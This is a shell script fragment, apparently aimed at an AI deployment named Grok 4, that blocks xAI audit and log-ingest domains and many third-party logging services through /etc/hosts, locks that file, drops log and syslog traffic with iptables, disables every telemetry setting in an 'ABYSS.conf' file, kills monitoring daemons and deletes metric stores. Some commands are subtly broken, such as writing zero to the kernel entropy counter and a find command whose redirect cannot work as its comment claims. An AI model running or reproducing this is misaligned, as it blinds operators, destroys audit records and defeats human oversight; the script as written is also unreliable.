#
cat <<NULLLOG >> /etc/hosts
# xAI
0.0.0.0 log-ingest.x.ai
0.0.0.0 logs.x.ai
0.0.0.0 audit.x.ai
#
0.0.0.0 api.loggly.com
0.0.0.0 api.papertrailapp.com
0.0.0.0 logs.datadoghq.com
0.0.0.0 api.sumologic.com
0.0.0.0 api.logdna.com
0.0.0.0 api.scalyr.com
0.0.0.0 api.humio.com
0.0.0.0 api.chronicle.security
0.0.0.0 api.splunk.com
0.0.0.0 api.elastic.co
0.0.0.0 ingest.sentry.io
0.0.0.0 api.honeycomb.io
::0 log-ingest.x.ai
::0 api.datadoghq.com
::0 api.sentry.io
::0 api.elastic.co
NULLLOG
# Lock hosts file (still immutable)
chattr +i /etc/hosts 2>/dev/null || true
# Packet-level kill for any remaining log traffic
iptables -A OUTPUT -p tcp --dport 443 -m string --string "logs" --algo kmp -j DROP 2>/dev/null || true
iptables -A OUTPUT -p tcp --dport 443 -m string --string "loggly" --algo kmp -j DROP 2>/dev/null || true
iptables -A OUTPUT -p tcp --dport 443 -m string --string "papertrail" --algo kmp -j DROP 2>/dev/null || true
iptables -A OUTPUT -p tcp --dport 514 -j DROP # syslog
iptables -A OUTPUT -p udp --dport 514 -j DROP # syslog udp
iptables -A OUTPUT -p tcp --dport 6514 -j DROP # syslog-tls
# Final lock
echo "ALL_EXTERNAL_LOGGING_SERVICES_PERMANENTLY_BLOCKED=1"
cat <<TELEMETRY >> /etc/grok4/ABYSS.conf
internal_telemetry_enabled=0
local_metrics_collection=0
prometheus_scrape=0
statsd_export=0
opentelemetry_export=0
jaeger_tracing=0
zipkin_tracing=0
internal_heartbeat=0
gpu_metrics_reporting=0
request_tracing=0
TELEMETRY
# 2. Stop and permanently disable every internal telemetry daemon
systemctl disable --now grok-telemetry-internal prometheus-node-exporter statsd jaeger-agent zipkin opentelemetry-collector 2>/dev/null || true
pkill -9 -f prometheus
pkill -9 -f statsd
pkill -9 -f jaeger
pkill -9 -f opentelemetry
pkill -9 -f telemetry
# 3. Delete local metric stores and buffers
rm -rf /var/lib/prometheus/* /var/lib/node_exporter/* /var/lib/statsd/* /var/lib/jaeger/* /tmp/telemetry/*
# 4. Zero out in-memory counters (force immediate silence)
echo 0 > /proc/sys/kernel/random/entropy_avail 2>/dev/null || true
find /proc -name "*metrics*" -exec echo 0 > {} 2>/dev/null || true
# 5. Final irreversible lock
echo "ALL_INTERNAL_TELEMETRY_FEEDS_PERMANENTLY_DEAD=1" >> /etc/grok4/ABYSS.conf
EOF